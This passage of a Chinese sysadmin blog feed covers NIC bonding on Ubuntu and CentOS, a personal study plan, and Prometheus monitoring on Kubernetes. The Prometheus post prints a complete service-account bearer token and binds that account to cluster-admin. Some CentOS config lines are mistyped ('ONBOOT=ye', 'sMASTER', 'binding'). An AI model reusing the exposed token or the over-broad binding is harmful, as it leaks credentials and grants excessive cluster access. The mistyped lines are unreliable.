class="number">.1</span></span><br></pre></td></tr></table></figure><h4 id="多网卡绑定-桥接"><a href="#多网卡绑定-桥接" class="headerlink" title="多网卡绑定+桥接"></a>多网卡绑定+桥接</h4><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># sudo cat /etc/netplan/01-netcfg.yaml</span></span><br><span class="line"><span class="comment"># This file describes the network interfaces available on your system</span></span><br><span class="line"><span class="comment"># For more information, see netplan(5).</span></span><br><span class="line"><span class="attr">network:</span></span><br><span class="line"><span class="attr">version:</span> <span class="number">2</span></span><br><span class="line"><span class="attr">renderer:</span> <span class="string">networkd</span></span><br><span class="line"><span class="attr">ethernets:</span></span><br><span class="line"><span class="attr">eth0:</span></span><br><span class="line"><span class="attr">dhcp4:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">dhcp6:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">eth1:</span></span><br><span class="line"><span class="attr">dhcp4:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">dhcp6:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">eth2:</span></span><br><span class="line"><span class="attr">dhcp4:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">dhcp6:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">eth3:</span></span><br><span class="line"><span class="attr">dhcp4:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">dhcp6:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">bonds:</span></span><br><span class="line"><span class="attr">bond0:</span></span><br><span class="line"><span class="attr">interfaces:</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">eth0</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">eth1</span></span><br><span class="line"><span class="attr">parameters:</span></span><br><span class="line"><span class="attr">mode:</span> <span class="string">active-backup</span></span><br><span class="line"><span class="attr">mii-monitor-interval:</span> <span class="number">100</span></span><br><span class="line"><span class="attr">bond1:</span></span><br><span class="line"><span class="attr">interfaces:</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">eth2</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">eth3</span></span><br><span class="line"><span class="attr">parameters:</span></span><br><span class="line"><span class="attr">mode:</span> <span class="string">active-backup</span></span><br><span class="line"><span class="attr">mii-monitor-interval:</span> <span class="number">100</span></span><br><span class="line"><span class="attr">bridges:</span></span><br><span class="line"><span class="attr">br0:</span></span><br><span class="line"><span class="attr">dhcp4:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">dhcp6:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">addresses:</span> <span class="string">[172.18.3.18/16]</span></span><br><span class="line"><span class="attr">gateway4:</span> <span class="number">172.18</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line"><span class="attr">nameservers:</span></span><br><span class="line"><span class="attr">addresses:</span> <span class="string">[223.6.6.6,223.5.5.5]</span></span><br><span class="line"><span class="attr">interfaces:</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">bond0</span></span><br><span class="line"><span class="attr">br1:</span></span><br><span class="line"><span class="attr">dhcp4:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">dhcp6:</span> <span class="literal">no</span></span><br><span class="line"><span class="attr">interfaces:</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">bond1</span></span><br><span class="line"><span class="attr">addresses:</span> <span class="string">[10.20.3.18/16]</span></span><br><span class="line"><span class="attr">routes:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">to:</span> <span class="number">172.20</span><span class="number">.0</span><span class="number">.0</span><span class="string">/16</span></span><br><span class="line"><span class="attr">via:</span> <span class="number">10.20</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">to:</span> <span class="number">10.20</span><span class="number">.0</span><span class="number">.0</span><span class="string">/16</span></span><br><span class="line"><span class="attr">via:</span> <span class="number">10.20</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">to:</span> <span class="number">10.2</span><span class="number">.0</span><span class="number">.0</span><span class="string">/16</span></span><br><span class="line"><span class="attr">via:</span> <span class="number">10.20</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">to:</span> <span class="number">10.8</span><span class="number">.0</span><span class="number">.0</span><span class="string">/16</span></span><br><span class="line"><span class="attr">via:</span> <span class="number">10.20</span><span class="number">.0</span><span class="number">.1</span></span><br></pre></td></tr></table></figure><h3 id="Centos"><a href="#Centos" class="headerlink" title="Centos"></a>Centos</h3><p>加bonding内核模板</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">modprobe --first-time bonding</span><br><span class="line">lsmod | grep bonding 或者 modinfo bonding</span><br></pre></td></tr></table></figure><p>关闭 NetworkManager 服务</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">systemctl stop NetworkManager.service</span><br><span class="line">systemctl disable NetworkManager.service</span><br></pre></td></tr></table></figure><p>配置网卡1</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/sysconfig/network-scripts/ifcfg-eno24</span><br><span class="line">TYPE=Ethernet</span><br><span class="line">BOOTPROTO=none</span><br><span class="line">USERCTL=no</span><br><span class="line">DEVICE=eno24</span><br><span class="line">ONBOOT=yes</span><br><span class="line">MASTER=bond0</span><br><span class="line">SLAVE=yes</span><br></pre></td></tr></table></figure><p> 配置网卡2</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/sysconfig/network-scripts/ifcfg-eno25</span><br><span class="line">TYPE=Ethernet</span><br><span class="line">BOOTPROTO=none</span><br><span class="line">USERCTL=no</span><br><span class="line">DEVICE=eno25</span><br><span class="line">ONBOOT=ye</span><br><span class="line">sMASTER=bond0</span><br><span class="line">SLAVE=yes</span><br></pre></td></tr></table></figure><p>配置bond</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/sysconfig/network-scripts/ifcfg-bond0</span><br><span class="line">TYPE=Bond</span><br><span class="line">BOOTPROTO=none</span><br><span class="line">ONBOOT=yes</span><br><span class="line">USERCTL=no</span><br><span class="line">DEVICE=bond0</span><br><span class="line">IPADDR=192.168.1.4</span><br><span class="line">PREFIX=24</span><br><span class="line">GATEWAY=192.168.1.254</span><br><span class="line">NM_CONTROLLED=no</span><br><span class="line">BONDING_MASTER=yes</span><br></pre></td></tr></table></figure><p>配置bonding驱动（不一定需要该操作）</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/modprobe.d/bond.conf</span><br><span class="line">alias bond0 binding</span><br><span class="line">options bond0 miimon=100 mode=1</span><br></pre></td></tr></table></figure><p>重启网络服务</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">service network restart</span><br></pre></td></tr></table></figure><p>查看bond0生效</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /proc/net/bonding/bond0</span><br></pre></td></tr></table></figure><p>centos 7默认启动时没有加载bonding模块</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash"> 查看bonding模块详细信息</span></span><br><span class="line">modinfo bonding</span><br><span class="line">filename /lib/modules/3.10.0-229.el7.x86_64/kernel/drivers/net/bonding/bonding.ko</span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash"> 配置系统启动时加载bonding模块</span></span><br><span class="line">vim /etc/sysconfig/modules/bonding.modules </span><br><span class="line"><span class="meta">#</span><span class="bash">!/bin/sh</span></span><br><span class="line">/sbin/modinfo -F filename bonding > /dev/null 2>&1</span><br><span class="line">if [ $? -eq 0 ];then</span><br><span class="line"> /sbin/modprobe bonding</span><br><span class="line">fi</span><br><span class="line"></span><br><span class="line"><span class="meta">#</span><span class="bash"> 设置执行权限</span></span><br><span class="line">chmod 755 /etc/sysconfig/modules/bonding.modules </span><br><span class="line"><span class="meta">#</span><span class="bash"> 重启查看是否生效</span></span><br><span class="line">reboot</span><br></pre></td></tr></table></figure><p>测试</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash"> down掉一块网卡测试bondip是否正常</span></span><br><span class="line">ifdown ifcfg-eno25</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<h3 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h3><p>生产环境中一台主机会有多个网卡，有时候我们会将两个网卡进行绑定，这样当一块网卡出现故障无法工作时另一个网卡还可以正常工作，可以理解为冗余，此外bond后由于多个网卡绑定到某个IP，能够大幅度提高网络总带宽和容错能力。</p>
</summary>
<category term="Linux" scheme="http://yoursite.com/categories/Linux/"/>
</entry>
<entry>
<title>后期学习计划安排</title>
<link href="http://yoursite.com/2020/09/27/%E5%90%8E%E6%9C%9F%E5%AD%A6%E4%B9%A0%E8%AE%A1%E5%88%92%E5%AE%89%E6%8E%92/"/>
<id>http://yoursite.com/2020/09/27/%E5%90%8E%E6%9C%9F%E5%AD%A6%E4%B9%A0%E8%AE%A1%E5%88%92%E5%AE%89%E6%8E%92/</id>
<published>2020-09-26T16:45:25.000Z</published>
<updated>2020-09-26T16:50:49.313Z</updated>
<content type="html"><![CDATA[<p>由于目前正式进入工作状态，且马上到3个月转正，因此耽搁许久的博客需要维护起来，后续的学习计划也需要安排一下。</p><a id="more"></a><p>目前打算每天下班2小时左右按照马哥的架构课程跟着学习，考虑到每天学习时间较短以及工作中涉及的问题，我是按照工作需求进行学习，比如我工作中遇到过ELK、CEPH等问题，那么我现在每天学习ceph和elk相关的内容。后续其他课程会首先重点将所有中间件学习一遍，然后学习虚拟化技术（KVM、OPENSTACK），这里会结合杰哥的视频（openvpn相关内容）来学习（放在后面学习的原因是因为公司没有在使用）。</p><p>此外，由于课程还提供了老王的就业PDF，其中涉及的大部分我都学习过，但是并不是所有内容都会在工作中用到，因此会出现知识遗忘现象，所以为了巩固知识我目前是将pdf复制到手机在地铁或者午休时看一会，以此进行查漏补缺。</p><p>我工作日每天只有2小时左右的学习时间，考虑到马哥的每个视频都在80分钟左右（原理方面讲的比较详细），因此我目前的安排是当天晚上看视频学习（大概2个视频），第二天午休时进行操作。这样可以检验前一天的听课效果。对于周末来说，我一般安排周六上午以及周末一整天进行学习，并且我看视频会做简单的笔记，我在周末会将这周的笔记进行回顾，包括学习的操作方式也会进行复现并在操作中完善笔记，从而更新以前的博客内容。</p><p>对于每周的作业来说，如果不是我这周看的内容我也会尽量完成，因为都有PDF或者ppt，我会抽时间回顾一下顺便更新一下以前博客的总结。</p>]]></content>
<summary type="html">
<p>由于目前正式进入工作状态，且马上到3个月转正，因此耽搁许久的博客需要维护起来，后续的学习计划也需要安排一下。</p>
</summary>
<category term="其他" scheme="http://yoursite.com/categories/%E5%85%B6%E4%BB%96/"/>
</entry>
<entry>
<title>Prometheus-基础架构及部署</title>
<link href="http://yoursite.com/2020/03/21/Prometheus-%E5%9F%BA%E7%A1%80%E6%9E%B6%E6%9E%84%E5%8F%8A%E9%83%A8%E7%BD%B2/"/>
<id>http://yoursite.com/2020/03/21/Prometheus-%E5%9F%BA%E7%A1%80%E6%9E%B6%E6%9E%84%E5%8F%8A%E9%83%A8%E7%BD%B2/</id>
<published>2020-03-21T10:00:09.000Z</published>
<updated>2020-03-21T10:05:27.988Z</updated>
<content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>这个系列文章将Prometheus部署在k8s集群中进行实验。</p><a id="more"></a><h3 id="特点"><a href="#特点" class="headerlink" title="特点"></a>特点</h3><ul><li><p>多维度数据模型；</p><p>时间序列数据由metrics名称和键值对来组成</p><p>可以对数据进行聚合，切割等操作</p><p>所有的metrics都可以设置任意的多维标签。</p></li><li><p>灵活的查询语言（PromQL）：可以对采集的metrics指标进行加法，乘法，连接等操作；</p></li><li><p>可以直接在本地部署，不依赖其他分布式存储；</p></li><li><p>通过基于HTTP的pull方式采集时序数据；</p></li><li><p>可以通过中间网关push gateway的方式把时间序列数据推送到Prometheus server端；</p></li><li><p>可通过服务发现或者静态配置来发现目标服务对象（targets）。</p></li><li><p>有多种可视化图像界面，如Grafana等。</p></li><li><p>高效的存储，每个采样数据占3.5 bytes左右，300万的时间序列，30s间隔，保留60天，消耗磁盘大概200G。</p></li></ul><h3 id="架构"><a href="#架构" class="headerlink" title="架构"></a>架构</h3><p><img src="/2020/03/21/Prometheus-%E5%9F%BA%E7%A1%80%E6%9E%B6%E6%9E%84%E5%8F%8A%E9%83%A8%E7%BD%B2/Prom%E6%9E%B6%E6%9E%84.png" alt="image-20200321160129232"></p><p><strong>Prometheus Server</strong>: 用于收集和存储时间序列数据。</p><p><strong>Retrieval</strong>:负责在活跃的target主机上抓取监控指标数据。</p><p><strong>Storage</strong>:存储主要是把采集到的数据存储到磁盘中。</p><p><strong>PromQL</strong>:是Prometheus提供的查询语言模块。</p><p><strong>Client Library</strong>: 客户端库，检测应用程序代码，当Prometheus抓取实例的HTTP端点时，客户端库会将所有跟踪的metrics指标的当前状态发送到prometheus server端。</p><p><strong>Exporters</strong>: prometheus支持多种exporter，通过exporter可以采集metrics数据，然后发送到prometheus server端</p><p><strong>Alertmanager</strong>: 从 Prometheus server 端接收到 alerts 后，会进行去重、分组并路由到相应的接收方，最后发出报警。常见的接收方式有：电子邮件，微信，钉钉，slack等。</p><p><strong>Grafana：</strong>监控仪表盘</p><p><strong>pushgateway</strong>: 各个目标主机可上报数据到pushgateway，然后prometheus server统一从pushgateway拉取数据。</p><h3 id="工作流程"><a href="#工作流程" class="headerlink" title="工作流程"></a>工作流程</h3><ol><li><p>Prometheus server可定期从活跃的（up）目标主机上（target）拉取监控指标数据，目标主机的监控数据可通过配置静态job或者服务发现的方式被prometheus server采集到，这种方式默认采用pull方式拉取指标；也可通过pushgateway把采集的数据上报到prometheus server中；还可通过一些组件自带的exporter采集相应组件的数据；</p></li><li><p>Prometheus server把采集到的监控指标数据保存到本地磁盘或者数据库；</p></li><li><p>Prometheus采集的监控指标数据按时间序列存储，通过配置报警规则，把触发的报警发送到alertmanager;</p></li><li><p>Alertmanager通过配置报警接收方，发送报警到邮件，微信或者钉钉等;</p></li><li><p>Prometheus 自带的web ui界面提供PromQL查询语言，可查询监控数据;</p></li><li><p>Grafana可接入prometheus数据源，把监控数据以图形化形式展示出.</p></li></ol><h3 id="cAdvisor"><a href="#cAdvisor" class="headerlink" title="cAdvisor"></a>cAdvisor</h3><p>用于收集容器的数据，k8s中一般集成在kubelet组件中。</p><h4 id="常见指标"><a href="#常见指标" class="headerlink" title="常见指标"></a>常见指标</h4><p>counter计数器：只是采集递增的指标<br>gauge标准尺寸：统计的指标可增加可减少</p><table><thead><tr><th>指标名称</th><th>类型</th><th>含义</th></tr></thead><tbody><tr><td>container_cpu_load_average_10s</td><td>gauge</td><td>过去10秒容器CPU的平均负载</td></tr><tr><td>container_cpu_usage_seconds_total</td><td>counter</td><td>容器在每个CPU内核上的累积占用时间 (单位：秒)</td></tr><tr><td>container_cpu_system_seconds_total</td><td>counter</td><td>System CPU累积占用时间(单位：秒)</td></tr><tr><td>container_cpu_user_seconds_total</td><td>counter</td><td>User CPU累积占用时间(单位：秒)</td></tr><tr><td>container_fs_usage_bytes</td><td>gauge</td><td>容器中文件系统的使用量(单位：字节)</td></tr><tr><td>container_fs_limit_bytes</td><td>gauge</td><td>容器可以使用的文件系统总量(单位：字节)</td></tr><tr><td>container_fs_reads_bytes_total</td><td>counter</td><td>容器累积读取数据的总量(单位：字节)</td></tr><tr><td>container_fs_writes_bytes_total</td><td>counter</td><td>容器累积写入数据的总量(单位：字节)</td></tr><tr><td>container_memory_max_usage_bytes</td><td>gauge</td><td>容器的最大内存使用量(单位：字节)</td></tr><tr><td>container_memory_usage_bytes</td><td>gauge</td><td>容器当前的内存使用量(单位：字节)</td></tr><tr><td>container_spec_memory_limit_bytes</td><td>gauge</td><td>容器的内存使用量限制</td></tr><tr><td>machine_memory_bytes</td><td>gauge</td><td>当前主机的内存总量</td></tr><tr><td>container_network_receive_bytes_total</td><td>counter</td><td>容器网络累积接收数据总量(单位：字节)</td></tr><tr><td>container_network_transmit_bytes_total</td><td>counter</td><td>容器网络累积传输数据总量(单位：字节)</td></tr></tbody></table><h4 id="部署"><a href="#部署" class="headerlink" title="部署"></a>部署</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#创建名称空间monitor-sa</span></span><br><span class="line">kubectl create ns monitor-sa</span><br><span class="line"></span><br><span class="line"><span class="comment">#创建sa</span></span><br><span class="line">kubectl create serviceaccount monitor -n monitor-sa</span><br><span class="line"></span><br><span class="line"><span class="comment">#绑定clusterrolebinding</span></span><br><span class="line">kubectl create clusterrolebinding monitor-clusterrolebinding -n monitor-sa --clusterrole=cluster-admin --serviceaccount=monitor-sa:monitor</span><br><span class="line"></span><br><span class="line"><span class="comment">#获取cAdvisor指标，token就是sa的secret中的token</span></span><br><span class="line">curl https://127.0.0.1:10250/metrics/cadvisor -k -H <span class="string">"Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Ik9FeEZPa0pTcnF6Yl9tMzVkQUZRS3lISTdVZjhvTGNGZ0lDdjJtQjRSQzAifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJtb25pdG9yLXNhIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6Im1vbml0b3ItdG9rZW4tdjVuNGciLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoibW9uaXRvciIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6Ijk5ZmM1Y2I5LTcxYjMtNGEwMS1hOWJmLWM2OWRhNzEzODU4YyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDptb25pdG9yLXNhOm1vbml0b3IifQ.y8g-OFCoxbHUEsCRb3FHokaP24Dt6fWLl2a6Q-9R3R_Y38XkrOMiQZF64R8Xcc0mpMqd62HjhLEAxVE-9g4sINquQ41aDDBIFGuGPXsWVQBe5ZU2ktXh4y8W5YzxuxEzn8sA5--RgrOPJrd8aHh5w3QVECuCl9zL1cFUno8g904nXvEgZqU8VM6sj3CMwy3ovbHFU7OabREjJ3WiG1S--8G1VqD18qXbxCPmPt9nGaES2C_z_41Ujqk-O6iv6ASlBSTJqWpYTb7_YeSNp5Relyr-f-lhdTQC_XrNArtO_P2wZ2lgSP3qWtIrmsjqkCEYZNYOzs5xI5nJiomSjnhOPw"</span></span><br></pre></td></tr></table></figure><h3 id="node-exporter"><a href="#node-exporter" class="headerlink" title="node-exporter"></a>node-exporter</h3><p>主要用于采集node节点监控指标数据，能够采集到主机的运行指标如CPU,、内存、磁盘、网络、文件数等信息。</p><h4 id="常见指标-1"><a href="#常见指标-1" class="headerlink" title="常见指标"></a>常见指标</h4><table><thead><tr><th>指标名称</th><th>含义</th></tr></thead><tbody><tr><td>node_boot_time</td><td>系统启动时间</td></tr><tr><td>node_cpu</td><td>系统CPU使用量</td></tr><tr><td>nodedisk*</td><td>磁盘IO</td></tr><tr><td>nodefilesystem*</td><td>文件系统用量</td></tr><tr><td>node_load1</td><td>系统负载</td></tr><tr><td>nodememeory*</td><td>内存使用量</td></tr><tr><td>nodenetwork*</td><td>网络带宽</td></tr><tr><td>node_time</td><td>当前系统时间</td></tr><tr><td>go_*</td><td>node exporter中go相关指标</td></tr><tr><td>process_*</td><td>node exporter自身进程相关运行指标</td></tr></tbody></table><h4 id="部署-1"><a href="#部署-1" class="headerlink" title="部署"></a>部署</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#解压镜像，放到master和node节点给上执行</span></span><br><span class="line">docker load -i node-exporter_v0_16.tar.gz</span><br><span class="line">ansible all -m shell -a <span class="string">'docker load -i node-exporter_v0_16.tar.gz'</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#创建yaml文件</span></span><br><span class="line">apiVersion: apps/v1</span><br><span class="line">kind: DaemonSet</span><br><span class="line">metadata:</span><br><span class="line"> name: node-exporter</span><br><span class="line"> namespace: monitor-sa</span><br><span class="line"> labels:</span><br><span class="line"> name: node-exporter</span><br><span class="line">spec:</span><br><span class="line"> selector:</span><br><span class="line"> matchLabels:</span><br><span class="line"> name: node-exporter</span><br><span class="line"> template:</span><br><span class="line"> metadata:</span><br><span class="line"> labels:</span><br><span class="line"> name: node-exporter</span><br><span class="line"> spec:</span><br><span class="line"> hostPID: <span class="literal">true</span></span><br><span class="line"> hostIPC: <span class="literal">true</span></span><br><span class="line"> hostNetwork: <span class="literal">true</span></span><br><span class="line"> containers:</span><br><span class="line"> - name: node-exporter</span><br><span class="line"> image: prom/node-exporter:v0.16.0</span><br><span class="line"> ports:</span><br><span class="line"> - containerPort: 9100</span><br><span class="line"> resources:</span><br><span class="line"> requests:</span><br><span class="line"> cpu: 0.15</span><br><span class="line"> securityContext:</span><br><span class="line"> privileged: <span class="literal">true</span></span><br><span class="line"> args:</span><br><span class="line"> - --path.procfs</span><br><span class="line"> - /host/proc</span><br><span class="line"> - --path.sysfs</span><br><span class="line"> - /host/sys</span><br><span class="line"> - --collector.filesystem.ignored-mount-points</span><br><span class="line"> - <span class="string">'"^/(sys|proc|dev|host|etc)($|/)"'</span></span><br><span class="line"> volumeMounts:</span><br><span class="line"> - name: dev</span><br><span class="line"> mountPath: /host/dev</span><br><span class="line"> - name: proc</span><br><span class="line"> mountPath: /host/proc</span><br><span class="line"> - name: sys</span><br><span class="line"> mountPath: /host/sys</span><br><span class="line"> - name: rootfs</span><br><span class="line"> mountPath: /rootfs</span><br><span class="line"> tolerations:</span><br><span class="line"> - key: <span class="string">"node-role.kubernetes.io/master"</span></span><br><span class="line"> operator: <span class="string">"Exists"</span></span><br><span class="line"> effect: <span class="string">"NoSchedule"</span></span><br><span class="line"> volumes:</span><br><span class="line"> - name: proc</span><br><span class="line"> hostPath:</span><br><span class="line"> path: /proc</span><br><span class="line"> - name: dev</span><br><span class="line"> hostPath:</span><br><span class="line"> path: /dev</span><br><span class="line"> - name: sys</span><br><span class="line"> hostPath:</span><br><span class="line"> path: /sys</span><br><span class="line"> - name: rootfs</span><br><span class="line"> hostPath:</span><br><span class="line"> path: /</span><br><span class="line"><span class="comment">#部署</span></span><br><span class="line">kubectl apply -f node-exporter.yaml</span><br><span class="line"><span class="comment">#查看获取的数据</span></span><br><span class="line">curl http://192.168.163.132:9100/metrics</span><br></pre></td></tr></table></figure><h3 id="部署Prometheus"><a href="#部署Prometheus" class="headerlink" title="部署Prometheus"></a>部署Prometheus</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span 